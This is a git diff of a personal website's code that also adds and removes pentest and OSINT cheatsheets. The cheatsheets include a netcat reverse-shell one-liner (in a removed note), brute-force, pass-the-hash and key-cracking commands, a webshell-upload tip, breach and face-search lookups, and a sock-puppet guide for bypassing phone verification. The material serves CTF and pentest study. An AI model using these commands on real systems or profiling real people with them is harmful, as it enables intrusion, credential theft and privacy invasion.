{backlinks.map((n) => (
<li>
<a
href={`/notes/${n.id}`}
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
>
← {n.data.title}
</a>
</li>
))}
</ul>
</div>
)
}
{
forwardLinks.length === 0 && backlinks.length === 0 && (
<div class="p-3">
<p class="font-mono text-[9px] text-base-content/20">
no linked notes
</p>
</div>
)
}
{
externalLinks.length > 0 && (
<div class="p-3 border-t border-base-300/40">
<p class="font-mono text-[10px] text-base-content/25 uppercase tracking-widest mb-2">
external
</p>
<ul class="space-y-1">
{externalLinks.map(({ url, label }) => (
<li>
<a
href={url}
target="_blank"
rel="noopener noreferrer"
class="font-mono text-xs text-base-content/45 hover:text-primary/80 transition-colors block truncate"
title={url}
>
↗ {label}
</a>
</li>
))}
</ul>
</div>
)
}
<div class="px-4 pt-4 pb-1 border-t border-base-300/40 mt-auto">
<time
datetime={entry.data.publishDate.toISOString()}
class="font-mono text-[10px] text-base-content/30 uppercase tracking-widest"
>
{formatDate(entry.data.publishDate)}
</time>
</div>
<div class="px-4 py-4">
<Author />
</div>
</aside>
+152
View File
@@ -0,0 +1,152 @@
<script lang="ts">
import { slide } from "svelte/transition";
import { untrack } from "svelte";
interface Note {
id: string;
data: { title: string; tags: string[]; category?: string };
body?: string;
}
interface Props {
notes: Note[];
currentEntry?: Note;
currentCategory?: string;
categories: string[];
}
const { notes, currentEntry, currentCategory, categories }: Props = $props();
let search = $state("");
function getCategory(n: Note): string {
if (n.data.category) return n.data.category;
const parts = n.id.split("/");
return parts.length > 1 ? parts[0] : "General";
}
function extractInlineHashtags(body: string): string[] {
const re = /#(\w+)/g;
const tags: string[] = [];
let m;
while ((m = re.exec(body)) !== null) tags.push(m[1].toLowerCase());
return [...new Set(tags)];
}
function matchesSearch(note: Note): boolean {
const raw = search.toLowerCase().trim();
if (!raw) return true;
const isTag = raw.startsWith("#");
const term = isTag ? raw.slice(1) : raw;
const title = note.data.title.toLowerCase();
const tags = [
...note.data.tags,
...extractInlineHashtags(note.body ?? ""),
].map((t) => t.toLowerCase());
return isTag
? tags.some((t) => t.includes(term))
: title.includes(term) || tags.join(",").includes(term);
}
const activeCategory = $derived(
currentCategory ?? (currentEntry ? getCategory(currentEntry) : null),
);
let openCategories = $state<string[]>(
untrack(() => categories.filter((c) => c === activeCategory)),
);
function toggle(cat: string) {
if (openCategories.includes(cat)) {
openCategories = openCategories.filter((c) => c !== cat);
} else {
openCategories = [...openCategories, cat];
}
}
</script>
<div class="flex flex-col flex-1 min-h-0">
<div class="px-3 py-3 border-b border-base-300/40 shrink-0">
<div
class="flex items-center gap-1.5 px-2 py-1.5 rounded-md bg-base-200/50 border border-base-300/40 focus-within:border-base-300/70 transition-colors"
>
<span class="text-base-content/30 font-mono text-xs shrink-0"></span>
<input
type="text"
placeholder="search..."
bind:value={search}
class="flex-1 min-w-0 bg-transparent text-xs font-mono text-base-content/70 placeholder:text-base-content/25 outline-none"
/>
</div>
</div>
<nav class="flex-1 min-h-0 overflow-y-auto overflow-x-hidden px-2 py-2 space-y-px">
{#each categories as cat}
{@const catNotes = notes.filter(
(n) => getCategory(n) === cat && matchesSearch(n),
)}
{#if catNotes.length > 0 || !search}
{@const isFolder = notes.some((n) => n.id.includes("/") && getCategory(n) === cat)}
<div>
<div class="flex items-center w-full">
<button
onclick={() => toggle(cat)}
class="flex items-center gap-1.5 px-2 py-1 rounded-md hover:bg-base-200/40 transition-colors duration-150 shrink-0"
>
<svg
class="w-3 h-3 text-base-content/35 shrink-0 transition-transform duration-200"
class:rotate-90={openCategories.includes(cat)}
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2.5"
stroke-linecap="round"
stroke-linejoin="round"
>
<path d="m9 18 6-6-6-6" />
</svg>
<span class="text-primary/50 font-mono text-xs shrink-0">/</span>
</button>
{#if isFolder}
<a
href={`/notes/${cat}`}
class="flex-1 min-w-0 px-1 py-1 rounded-md hover:bg-base-200/40 transition-colors duration-150 font-bold tracking-tight text-sm truncate text-base-content/80 hover:text-base-content"
>
{cat}
</a>
{:else}
<span class="flex-1 min-w-0 px-1 py-1 font-bold tracking-tight text-sm truncate text-base-content/80">
{cat}
</span>
{/if}
</div>
{#if openCategories.includes(cat)}
<ul
class="ml-4 mt-0.5 pb-1 space-y-px"
transition:slide={{ duration: 180 }}
>
{#each catNotes as note}
<li class="tooltip tooltip-right w-full" data-tip={note.data.title}>
<a
href={`/notes/${note.id}`}
class="flex items-center gap-1.5 px-2 py-1 rounded-md text-xs font-mono truncate transition-colors duration-150
{currentEntry && note.id === currentEntry.id
? 'text-primary/90 bg-primary/10'
: 'text-base-content/45 hover:text-base-content/80 hover:bg-base-200/40'}"
>
<span class="shrink-0 font-mono text-base-content/20">
{currentEntry && note.id === currentEntry.id ? "▸" : ""}
</span>
<span class="truncate">{note.data.title}</span>
</a>
</li>
{/each}
</ul>
{/if}
</div>
{/if}
{/each}
</nav>
</div>
+26
View File
@@ -0,0 +1,26 @@
---
import NoteNavContent from "./NoteNavContent.svelte";
import type { CollectionEntry } from "astro:content";
interface Props {
notes: CollectionEntry<"notes">[];
currentEntry?: CollectionEntry<"notes">;
currentCategory?: string;
categories: string[];
}
const { notes, currentEntry, currentCategory, categories } = Astro.props;
---
<aside
class="w-56 shrink-0 flex flex-col border-r border-base-300/60 h-full"
style="background: oklch(4% 0 0);"
>
<NoteNavContent
client:load
notes={notes}
currentEntry={currentEntry}
currentCategory={currentCategory}
categories={categories}
/>
</aside>
+40
View File
@@ -0,0 +1,40 @@
---
interface Props {
headings: { depth: number; text: string; id: string }[];
}
const { headings } = Astro.props;
---
{
headings.length > 0 && (
<div
class="collapse collapse-arrow mb-8 border border-base-300/40"
style="background: oklch(4% 0 0);"
>
<input type="checkbox" />
<div class="collapse-title font-mono text-xs text-base-content/35 flex items-center gap-2 py-2 px-3 min-h-0">
<span class="text-primary/40">§</span>
table of contents
</div>
<div class="collapse-content px-0 pb-0">
<nav class="px-3 pb-3 pt-1 border-t border-base-300/30 space-y-0.5">
{headings.map((h) => (
<a
href={`#${h.id}`}
class:list={[
"block text-xs text-base-content/45 hover:text-base-content/80 transition-colors py-0.5",
h.depth === 3 ? "pl-4" : h.depth === 4 ? "pl-8" : "",
]}
>
<span class="font-mono text-primary/25 mr-1.5">
{"#".repeat(h.depth)}
</span>
{h.text}
</a>
))}
</nav>
</div>
</div>
)
}
+120
View File
@@ -0,0 +1,120 @@
<script lang="ts">
import { onMount, untrack } from "svelte";
interface Props {
vars: string[];
}
const { vars }: Props = $props();
let values = $state<Record<string, string>>(
untrack(() => Object.fromEntries(vars.map((v) => [v, ""]))),
);
let open = $state(false);
let applied = $state(false);
const originals = new Map<Text, string>();
onMount(() => {
const content = document.querySelector(".note-content");
if (!content) return;
const walker = document.createTreeWalker(content, NodeFilter.SHOW_TEXT);
let node: Text | null;
while ((node = walker.nextNode() as Text | null)) {
if (/\$[a-zA-Z_][a-zA-Z0-9_]*/.test(node.nodeValue ?? "")) {
originals.set(node, node.nodeValue!);
}
}
});
function applyVars() {
const sorted = [...vars].sort((a, b) => b.length - a.length);
for (const [node, original] of originals) {
let text = original;
for (const name of sorted) {
const val = values[name];
if (val) {
text = text.replace(
new RegExp(`\\$${name}(?![a-zA-Z0-9_])`, "g"),
val,
);
}
}
node.nodeValue = text;
}
applied = true;
setTimeout(() => (applied = false), 1800);
}
</script>
{#if vars.length > 0}
<button
onclick={() => (open = true)}
class="btn btn-ghost btn-xs font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
>
<span class="font-mono text-[10px] leading-none">$</span>
vars
</button>
{#if open}
<dialog class="modal modal-open">
<div
class="modal-box max-w-sm"
style="background: oklch(10% 0 0); border: 1px solid oklch(71% 0.0863 296.59 / 0.5);"
>
<h3
class="font-mono text-[10px] text-base-content/40 uppercase tracking-widest mb-4"
>
variables
</h3>
<div class="space-y-2.5">
{#each vars as v}
<div class="flex items-center gap-3">
<label
for={`var-${v}`}
class="font-mono text-xs text-primary/70 w-36 shrink-0 truncate"
title={`$${v}`}
>
${v}
</label>
<input
id={`var-${v}`}
type="text"
bind:value={values[v]}
placeholder={`$${v}`}
class="input input-sm flex-1 min-w-0 font-mono text-xs bg-base-300/20 border-base-300/60 text-base-content/80 placeholder:text-base-content/25 focus:border-primary/60"
/>
</div>
{/each}
</div>
<div class="mt-5 flex items-center justify-between">
<span
class="font-mono text-[10px] text-primary/60 transition-opacity duration-300"
class:opacity-0={!applied}
>
✓ applied
</span>
<div class="flex gap-2">
<button
onclick={applyVars}
class="btn btn-ghost btn-xs font-mono text-primary/60 hover:text-primary border border-primary/30"
>
apply
</button>
<button
onclick={() => (open = false)}
class="btn btn-ghost btn-xs font-mono text-base-content/40 hover:text-base-content/70 border border-base-300/50"
>
close
</button>
</div>
</div>
</div>
<button
onclick={() => (open = false)}
class="modal-backdrop"
aria-label="close"
></button>
</dialog>
{/if}
{/if}
+25
View File
@@ -0,0 +1,25 @@
---
import { ArrowRight } from "@lucide/astro";
---
<section id="notes" class="py-10 px-4">
<div class="max-w-6xl mx-auto text-center">
<div class="text-center mb-12">
<h2 class="text-4xl font-bold mb-4">Infosec Notes</h2>
</div>
<div class="mt-8">
<p class="text-base text-base-content/70 mb-6">
Cheatsheets and references on tools and techniques I use for CTFs and
pentesting.
</p>
<div class="text-center mt-12">
<a href="/notes" class="btn btn-ghost gap-2">
Browse Notes
<ArrowRight class="size-4" />
</a>
</div>
</div>
</div>
</section>
+150
View File
@@ -0,0 +1,150 @@
<script lang="ts">
import { onMount } from "svelte";
interface NoteItem {
id: string;
title: string;
description: string;
tags: string[];
category: string;
searchText: string;
}
interface Props {
notes: NoteItem[];
}
const { notes }: Props = $props();
let inputValue = $state("");
const query = $derived(inputValue.toLowerCase().trim());
const categories = $derived([
...new Set(notes.map((n) => n.category)),
].sort());
const filtered = $derived.by(() => {
if (!query) return notes;
const isTag = query.startsWith("#");
const q = isTag ? query.slice(1) : query;
return notes.filter((n) =>
isTag
? n.tags.some((t) => t.includes(q)) || n.searchText.includes(`#${q}`)
: n.searchText.includes(q),
);
});
const visibleCount = $derived(filtered.length);
onMount(() => {
const urlTag = new URLSearchParams(window.location.search).get("tag");
if (urlTag) inputValue = `#${urlTag}`;
});
$effect(() => {
const url = new URL(window.location.href);
if (query.startsWith("#") && query.length > 1) {
url.searchParams.set("tag", query.slice(1));
} else {
url.searchParams.delete("tag");
}
history.replaceState(null, "", url.toString());
});
function filteredByCategory(cat: string) {
return filtered.filter((n) => n.category === cat);
}
</script>
<div class="mb-12 max-w-sm mx-auto">
<label class="input w-full">
<span class="text-base-content/25"></span>
<input
type="text"
placeholder="search or #tag..."
bind:value={inputValue}
/>
</label>
<p class="font-mono text-[10px] text-base-content/20 mt-1.5 text-center">
use #tag to filter by tag
</p>
</div>
<div class="space-y-12">
{#each categories as cat}
{@const catNotes = filteredByCategory(cat)}
{#if catNotes.length > 0}
<section>
<div class="flex items-baseline gap-3 mb-4">
<h2 class="text-xl font-bold tracking-tight">
<span class="text-primary/50 font-mono mr-1">/</span>{cat}
</h2>
<span class="font-mono text-xs text-base-content/25">
{catNotes.length} note{catNotes.length !== 1 ? "s" : ""}
</span>
</div>
<div class="border-t border-base-300/40 mb-1"></div>
<ul class="divide-y divide-base-300/20">
{#each catNotes as n}
<li>
<a
href={`/notes/${n.id}`}
class="group flex items-center gap-4 py-3 hover:bg-base-200/30 px-2 -mx-2 transition-colors"
>
<div class="flex-1 min-w-0">
<div class="flex flex-col mb-0.5">
<span
class="font-semibold text-sm group-hover:text-primary transition-colors"
>
{n.title}
</span>
{#if n.description}
<span class="text-xs text-base-content/35 truncate">
{n.description}
</span>
{/if}
</div>
{#if n.tags.length > 0}
<div class="flex flex-wrap gap-1 mt-1">
{#each n.tags as tag}
<span
class="badge badge-ghost badge-xs font-mono text-base-content/30"
>
{tag}
</span>
{/each}
</div>
{/if}
</div>
<svg
xmlns="http://www.w3.org/2000/svg"
width="14"
height="14"
viewBox="0 0 24 24"
fill="none"
stroke="currentColor"
stroke-width="2"
stroke-linecap="round"
stroke-linejoin="round"
class="text-base-content/20 group-hover:text-primary/50 shrink-0 transition-colors"
>
<path d="m9 18 6-6-6-6" />
</svg>
</a>
</li>
{/each}
</ul>
</section>
{/if}
{/each}
</div>
{#if visibleCount === 0}
<div class="text-center py-20 font-mono text-sm text-base-content/25">
no results.
</div>
{/if}
<p class="text-center font-mono text-xs text-base-content/20 mt-16">
{visibleCount} note{visibleCount !== 1 ? "s" : ""} total
</p>
+6 -6
View File
@@ -10,14 +10,14 @@ const latestRepos = repos.slice(0, 3);
<div class="max-w-6xl mx-auto"> <div class="max-w-6xl mx-auto">
<div class="text-center mb-12"> <div class="text-center mb-12">
<h2 class="text-4xl font-bold mb-4">Check out my latest work</h2> <h2 class="text-4xl font-bold mb-4">Check out my latest work</h2>
<p class="text-lg text-base-content/70">
I enjoy the challenge of reimagining existing programs & scripts in my
own unique way.
</p>
</div> </div>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6"> <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-6">
{latestRepos.map((repo) => <GiteaProjectCard repo={repo} />)} {
latestRepos.map((repo) => (
<GiteaProjectCard displayBanner={false} repo={repo} />
))
}
</div> </div>
<div class="text-center mt-12"> <div class="text-center mt-12">
+1 -3
View File
@@ -9,7 +9,7 @@ export interface SocialLinks {
twitter?: string; twitter?: string;
bluesky?: string; bluesky?: string;
instagram?: string; instagram?: string;
youTube?: string; youtube?: string;
codetips?: string; codetips?: string;
kofi?: string; kofi?: string;
medium?: string; medium?: string;
@@ -23,7 +23,6 @@ export interface SiteConfig {
title: string; title: string;
description: string; description: string;
avatar: string; avatar: string;
location: string;
socialLinks: SocialLinks; socialLinks: SocialLinks;
gpgKey?: string; gpgKey?: string;
rssFeed?: string; rssFeed?: string;
@@ -39,7 +38,6 @@ export const siteConfig: SiteConfig = {
description: description:
"Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧", "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧",
avatar: "/avatar.png", avatar: "/avatar.png",
location: "🇫🇷 France",
socialLinks: { socialLinks: {
github: "https://github.com/anotherhadi", github: "https://github.com/anotherhadi",
gitlab: "https://gitlab.com/anotherhadi_mirror", gitlab: "https://gitlab.com/anotherhadi_mirror",
+1 -1
View File
@@ -19,7 +19,7 @@ const notes = defineCollection({
schema: z.object({ schema: z.object({
title: z.string(), title: z.string(),
description: z.string(), description: z.string(),
category: z.string(), category: z.string().optional(),
tags: z.array(z.string()).default([]), tags: z.array(z.string()).default([]),
publishDate: z.coerce.date(), publishDate: z.coerce.date(),
}), }),
-39
View File
@@ -1,39 +0,0 @@
---
title: "Burp Suite - Basics"
description: "Intercept, inspect and modify HTTP traffic with Burp Suite."
category: "Web"
tags: ["burpsuite", "web", "proxy", "http"]
publishDate: 2026-04-24
---
Burp Suite is the standard proxy for web app pentesting.
## Setup
1. Launch Burp → Proxy → Options → listener on `127.0.0.1:8080`
2. Configure browser to use proxy `127.0.0.1:8080`
3. Install Burp's CA cert to intercept HTTPS
## Key Tabs
| Tab | Use |
|-----|-----|
| Proxy | Intercept and forward requests |
| Repeater | Replay and modify requests manually |
| Intruder | Fuzzing and brute force |
| Scanner | Automated vulnerability scan (Pro) |
| Decoder | Encode/decode data |
## Useful Shortcuts
| Shortcut | Action |
|----------|--------|
| `Ctrl+R` | Send to Repeater |
| `Ctrl+I` | Send to Intruder |
| `Ctrl+F` | Forward intercepted request |
## Intercept a Request
1. Enable intercept → browse the target
2. Request appears in Proxy tab
3. Modify → Forward
-46
View File
@@ -1,46 +0,0 @@
---
title: "Netcat - Basics"
description: "The Swiss Army knife of networking — listen, connect, transfer."
category: "Network"
tags: ["netcat", "network", "reverse-shell"]
publishDate: 2026-04-24
---
Netcat (`nc`) opens raw TCP/UDP connections. Pairs well with [Nmap](/notes/nmap-basics) for recon.
## Listen & Connect
```bash
# Listen on port 4444
nc -lvnp 4444
# Connect to host
nc 192.168.1.1 4444
```
## File Transfer
```bash
# Receiver
nc -lvnp 4444 > file.txt
# Sender
nc 192.168.1.1 4444 < file.txt
```
## Reverse Shell
```bash
# Attacker — listen
nc -lvnp 4444
# Victim — connect back
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
```
## Banner Grabbing
```bash
nc -nv 192.168.1.1 80
HEAD / HTTP/1.0
```
+62
View File
@@ -0,0 +1,62 @@
---
title: "FTP"
description: "Enumeration, exploitation and post-exploitation techniques for FTP servers."
tags: ["ftp", "network", "service"]
publishDate: 2026-04-29
---
## Overview
FTP runs on **port 21** (control) and uses a secondary data channel (port 20 for active, ephemeral port for passive).
Common implementations: vsftpd, ProFTPD, Pure-FTPd, FileZilla Server, IIS FTP.
## Enumeration
### Banner grabbing
```bash
nc -nv $IP 21
ftp $IP
```
The banner often reveals the software version: cross-reference with CVE databases.
### Nmap
```bash
nmap -sV -p 21 $IP
nmap -p 21 --script ftp-* $IP
```
Key scripts:
- `ftp-anon`: checks anonymous login
- `ftp-bounce`: tests for FTP bounce attack
- `ftp-brute`: brute-force credentials
- `ftp-syst`: retrieves system info
## Anonymous Login
```bash
ftp $IP
# Username: anonymous
# Password: <empty> or anonymous@
```
If allowed, list and download everything:
```bash
ls -la
mget *
```
Check for writable directories: you may be able to upload a webshell if FTP root overlaps with a web root.
## Brute Force
```bash
hydra -l $user -P ~/wordlists/rockyou.txt ftp://$IP
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M ftp
```
Try default credentials first: `admin:admin`, `ftp:ftp`, `user:password`.
+46
View File
@@ -0,0 +1,46 @@
---
title: "RDP"
description: "Enumeration, exploitation and post-exploitation techniques for RDP servers."
tags: ["rdp", "network", "service"]
publishDate: 2026-05-04
---
## Overview
RDP (Remote Desktop Protocol) runs on **port 3389** and provides a graphical remote session.
Common on Windows servers and workstations.
## Enumeration
### Banner grabbing
```bash
nmap -sV -p 3389 $IP
nmap -p 3389 --script rdp-* $IP
```
Key scripts:
- `rdp-enum-encryption`: checks encryption level
- `rdp-vuln-ms12-020`: tests for MS12-020 DoS vulnerability
## Connect
```bash
xfreerdp /u:$user /p:$password /v:$IP
xfreerdp /u:$user /p:$password /v:$IP /cert:ignore
rdesktop $IP
```
Pass the hash directly (no plaintext password needed):
```bash
xfreerdp /u:$user /pth:$hash /v:$IP
```
## Brute Force
```bash
hydra -l $user -P ~/wordlists/rockyou.txt rdp://$IP
crowbar -b rdp -s $IP/32 -u $user -C ~/wordlists/rockyou.txt
```
+75
View File
@@ -0,0 +1,75 @@
---
title: "SSH"
description: "Enumeration, exploitation and post-exploitation techniques for SSH servers."
tags: ["ssh", "network", "service"]
publishDate: 2026-05-04
---
## Overview
SSH runs on **port 22** and provides an encrypted remote shell.
Common implementations: OpenSSH, Dropbear, Bitvise.
## Enumeration
### Banner grabbing
```bash
nc -nv $IP 22
ssh $IP
```
The banner reveals the software and version (e.g. `OpenSSH_9.2`).
### Nmap
```bash
nmap -sV -p 22 $IP
nmap -p 22 --script ssh-* $IP
```
Key scripts:
- `ssh-hostkey`: retrieves the server's public key
- `ssh-auth-methods`: lists accepted authentication methods
- `ssh-brute`: brute-force credentials
## Connect
```bash
ssh $user@$IP
ssh -p 2222 $user@$IP
ssh -i id_rsa $user@$IP
```
## Brute Force
```bash
hydra -l $user -P ~/wordlists/rockyou.txt ssh://$IP
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M ssh
```
Only viable if password auth is enabled. Check with:
```bash
ssh -v $user@$IP
```
Look for `publickey,password` in the output.
## Key-Based Auth
If you find a private key (`id_rsa`), set permissions and connect:
```bash
chmod 600 id_rsa
ssh -i id_rsa $user@$IP
```
If the key is encrypted, crack the passphrase:
```bash
ssh2john id_rsa > hash.txt
john hash.txt --wordlist=~/wordlists/rockyou.txt
hashcat -m 22921 hash.txt ~/wordlists/rockyou.txt
```
+52
View File
@@ -0,0 +1,52 @@
---
title: "Telnet"
description: "Enumeration, exploitation and post-exploitation techniques for Telnet servers."
tags: ["telnet", "network", "service"]
publishDate: 2026-05-04
---
## Overview
Telnet runs on **port 23** and transmits all data (including credentials) in **cleartext**.
Common on embedded devices, legacy systems, routers, and IoT equipment.
## Enumeration
### Banner grabbing
```bash
nc -nv $IP 23
telnet $IP
```
The banner often reveals the OS, hostname, or device type.
### Nmap
```bash
nmap -sV -p 23 $IP
nmap -p 23 --script telnet-* $IP
```
Key scripts:
- `telnet-ntlm-info`: extracts NTLM info (Windows targets)
- `telnet-brute`: brute-force credentials
## Connect
```bash
telnet $IP
telnet $IP 23
```
Login with `user` / `password`. Session is fully interactive once authenticated.
## Brute Force
```bash
hydra -l $user -P ~/wordlists/rockyou.txt telnet://$IP
medusa -h $IP -u $user -P ~/wordlists/rockyou.txt -M telnet
```
Try default credentials first. Routers and embedded devices commonly ship with `admin:admin`, `root:root`, or blank passwords.
-109
View File
@@ -1,109 +0,0 @@
---
title: "Nmap - Basics"
description: "Quick reference for essential Nmap commands for network reconnaissance."
category: "Network"
tags: ["nmap", "recon", "network", "scanning"]
publishDate: 2026-04-24
---
## Introduction
Nmap (Network Mapper) is the go-to tool for network discovery and security auditing. It lets you scan hosts, detect open services, and identify operating systems. For raw connections and banner grabbing, see [Netcat](/notes/netcat).
## Installation
```bash
# Debian/Ubuntu
sudo apt install nmap
# Arch Linux
sudo pacman -S nmap
```
## Core Commands
### Host Discovery
```bash
# Ping scan (no port scan)
nmap -sn 192.168.1.0/24
# Skip ping (treat host as up)
nmap -Pn 192.168.1.1
```
### Port Scanning
```bash
# 1000 most common ports (default)
nmap 192.168.1.1
# All ports (065535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
# Port range
nmap -p 1-1024 192.168.1.1
```
### Service & OS Detection
```bash
# Service version detection
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Aggressive scan (OS + version + scripts + traceroute)
nmap -A 192.168.1.1
```
### Scan Types
| Flag | Type | Description |
|------|------|-------------|
| `-sS` | SYN Scan | Fast and stealthy (requires root) |
| `-sT` | TCP Connect | Full connect, no root needed |
| `-sU` | UDP Scan | For UDP services |
| `-sN` | Null Scan | No TCP flags |
| `-sF` | FIN Scan | FIN flag only |
### NSE Scripts
```bash
# Specific script
nmap --script=http-title 192.168.1.1
# Script category
nmap --script=vuln 192.168.1.1
# Default scripts
nmap -sC 192.168.1.1
```
## Useful Flags
| Flag | Description |
|------|-------------|
| `-v` / `-vv` | Verbose output |
| `-oN <file>` | Normal text output |
| `-oX <file>` | XML output |
| `-oG <file>` | Grepable output |
| `-T0` to `-T5` | Timing (0=paranoid, 5=insane) |
| `--open` | Show only open ports |
## Practical Examples
```bash
# Full network scan
nmap -sV -sC -O -p- 192.168.1.0/24 -oN scan.txt
# Slow stealthy scan to avoid IDS
nmap -sS -T1 -f 192.168.1.1
# UDP scan of common ports
nmap -sU --top-ports 100 192.168.1.1
```
+97
View File
@@ -0,0 +1,97 @@
---
title: "Bluesky"
description: "Enumeration, search operators, API endpoints and tools for investigating Bluesky accounts."
tags: ["osint", "bluesky", "social-media", "enumeration"]
publishDate: 2026-04-29
---
## Key Concepts
Bluesky is built on the **AT Protocol**. Every account has two identifiers:
- **Handle**: `user.bsky.social` or a custom domain (can change)
- **DID**: `did:plc:ewvi7nxzyoun6zhxrhs64oiz` (permanent, survives handle changes)
All public content is accessible **without an account**. Follower/following lists are also public by default.
## Account Enumeration
### Resolve handle → DID
```
https://bsky.social/xrpc/com.atproto.identity.resolveHandle?handle=$HANDLE
```
### Resolve DID → history (all past handles, keys, creation date)
```
https://plc.directory/$DID
```
### Get profile metadata
```
https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor=$HANDLE
```
Returns: DID, display name, description, follower/following count, creation date, avatar URL.
### Followers / following
```
https://public.api.bsky.app/xrpc/app.bsky.graph.getFollowers?actor=$HANDLE&limit=100
https://public.api.bsky.app/xrpc/app.bsky.graph.getFollows?actor=$HANDLE&limit=100
```
Paginate with the `cursor` field from the response.
## Search Operators
Bluesky's full-text search supports these operators (combinable):
| Operator | Example | Effect |
| ----------- | ----------------------------- | ----------------------------- |
| `"..."` | `"exact phrase"` | Exact match |
| `from:` | `from:handle.bsky.social` | Posts by user |
| `mentions:` | `mentions:handle.bsky.social` | Posts mentioning user |
| `since:` | `since:2024-01-01` | After date (UTC, YYYY-MM-DD) |
| `until:` | `until:2024-06-30` | Before date (UTC, YYYY-MM-DD) |
| `lang:` | `lang:fr` | Language (ISO 639-1) |
| `domain:` | `domain:github.com` | Posts linking to domain |
| `#tag` | `#osint` | Hashtag |
#### API equivalent
```
https://public.api.bsky.app/xrpc/app.bsky.feed.searchPosts?q={QUERY}&author={HANDLE}&since=2024-01-01&until=2024-12-31&lang=en&limit=25
```
## Google Dorks
Bluesky is heavily indexed by Google. Useful for finding profiles and posts without touching the platform:
```
site:bsky.app "$TARGET_NAME"
site:bsky.app "$TARGET_NAME" inurl:profile
site:bsky.app "$KEYWORD" since:2024-01-01
```
## Tools
### BlueSkyNet
Web app for searching and exporting Bluesky data to CSV. Wraps the public API with a UI for advanced search filters.
- [github.com/jakecreps/blueskynet](https://github.com/jakecreps/blueskynet)
### ClearSky
Shows block lists, blocking history, and who blocked a given account. Useful for mapping relationships and adversarial clusters.
- [clearsky.app](https://clearsky.app)
### plc.directory
Official DID PLC directory. Lookup a DID to get full account history: creation date, all past handles, key rotations.
- [plc.directory](https://plc.directory)
@@ -0,0 +1,69 @@
---
title: "Information Gathering"
description: "Essential cybersecurity cheatsheet for Information Gathering and Open Source Intelligence (OSINT). Discover data related to emails, domains, usernames, and images using both command line and online tools."
tags: ["osint", "enumeration", "information-gathering"]
publishDate: 2026-05-03
---
**Information Gathering**, often referred to as **Open Source Intelligence (OSINT)** in the context of ethical hacking, is the systematic collection and analysis of publicly available data about a target, providing the foundational knowledge necessary to identify potential vulnerabilities and craft targeted security assessments.
## Command line tools
| **From** | **Use** |
| --------- | ----------------------------------------------------------------------------------------------- |
| Email | `holehe $email` |
| | `ghunt email $email` (for google account) |
| | `github-recon $email` ([link](http://github.com/anotherhadi/github-recon/), for github account) |
| Domain | `theHarvester -d $domain -l 100` |
| | `theHarvester -d $domain -l 100 -b all` (full) |
| Username | `sherlock $username` |
| Image | `exiftool $imagePath` |
| Instagram | `instaloader profile $username` |
| Github | `trufflehog github --org=$usernameOrOrg` |
| | `github-recon $username` ([link](http://github.com/anotherhadi/github-recon/)) |
## Online tools
| **For** | **Use** |
| ---------- | ------------------------------------------------------ |
| Visualiser | [OSINTracker](https://www.osintracker.com/) |
| IP | [Shodan](https://www.shodan.io/) |
| | [Censys](https://search.censys.io/) |
| Domain | [Whois](https://www.whois.com/whois/) |
| | [crt.sh](https://crt.sh/) (certificate transparency) |
| Name | [Webmii](https://webmii.com/) |
| | [BreachDirectory](https://breachdirectory.org/) |
| | [LeakLookup](https://leak-lookup.com/search) |
| | [IntelX](https://intelx.io/) |
| | [Genealogic.review](https://genealogic.review/) |
| SSID | [Wigle](https://wigle.net/) |
| Image | [PimEyes (faces)](https://pimeyes.com/) |
| | [Lenso (faces)](https://lenso.ai) |
| | [TinEye](https://tineye.com) |
| | [Pic2Map (exif geolocation)](https://www.pic2map.com/) |
| Username | [DeHashed](https://dehashed.com/search) |
| | [BreachDirectory](https://breachdirectory.org/) |
| | [IntelX](https://intelx.io/) |
| | [LeakLookup](https://leak-lookup.com/search) |
| | [Oathnet](https://oathnet.org/) |
| Email | [DeHashed](https://dehashed.com/search) |
| | [Hunter](https://hunter.io/) |
| | [HaveIBeenPwned](https://haveibeenpwned.com/) |
| | [BreachDirectory](https://breachdirectory.org/) |
| | [LeakLookup](https://leak-lookup.com/search) |
| | [IntelX](https://intelx.io/) |
| | [Oathnet](https://oathnet.org/) |
| Phone | [Epieos](https://epieos.com/) |
| Instagram | [Dumpor](https://dumpor.io/) |
| Misc | [Goosint](https://goosint.com/) |
| | [OSINT Framework](https://osintframework.com/) |
| | [OSINT Dojo](https://osintdojo.com/) |
## OSINT Aggregation Tool
<a href="https://iknowyou.hadi.icu" class="link-card not-prose" target="_blank">
<span>
<h4>IKnowYou</h4>
<p>Self-hosted OSINT aggregation platform: Run dozens of open-source intelligence tools against a single target in parallel; all from one clean web interface.</p>
</span>
</a>
+83
View File
@@ -0,0 +1,83 @@
---
title: "Sock Puppets"
description: "Essential cheatsheet on creating and managing Sock Puppets (fake identities) for ethical security research and Open Source Intelligence (OSINT), focusing on maintaining separation from personal data and bypassing common verification."
tags: ["osint", "sock-puppets"]
publishDate: 2026-05-03
---
Sock puppets are fake identities use to gather information from a target.
The sock puppet should have no link between your personal information and the fakes ones. (No ip address, mail, follow, etc..)
## Information generation
<a href="https://fakerjs.dev" class="link-card not-prose" target="_blank">
<span>
<h4>Faker</h4>
<p>Generate massive amounts of fake data</p>
</span>
</a>
<a href="https://fakenamegenerator.com/" class="link-card not-prose" target="_blank">
<span>
<h4>Fake Name</h4>
<p>Personal informations</p>
</span>
</a>
<a href="https://www.thispersondoesnotexist.com/" class="link-card not-prose" target="_blank">
<span>
<h4>This Person Does Not Exist</h4>
<p>Generate fake image</p>
</span>
</a>
## Bypass phone verification
<a href="https://www.smspool.net/" class="link-card not-prose" target="_blank">
<span>
<h4>SMSPool</h4>
<p>Cheapest and Fastest Online SMS verification</p>
</span>
</a>
<a href="https://receive-sms-online.info" class="link-card not-prose" target="_blank">
<span>
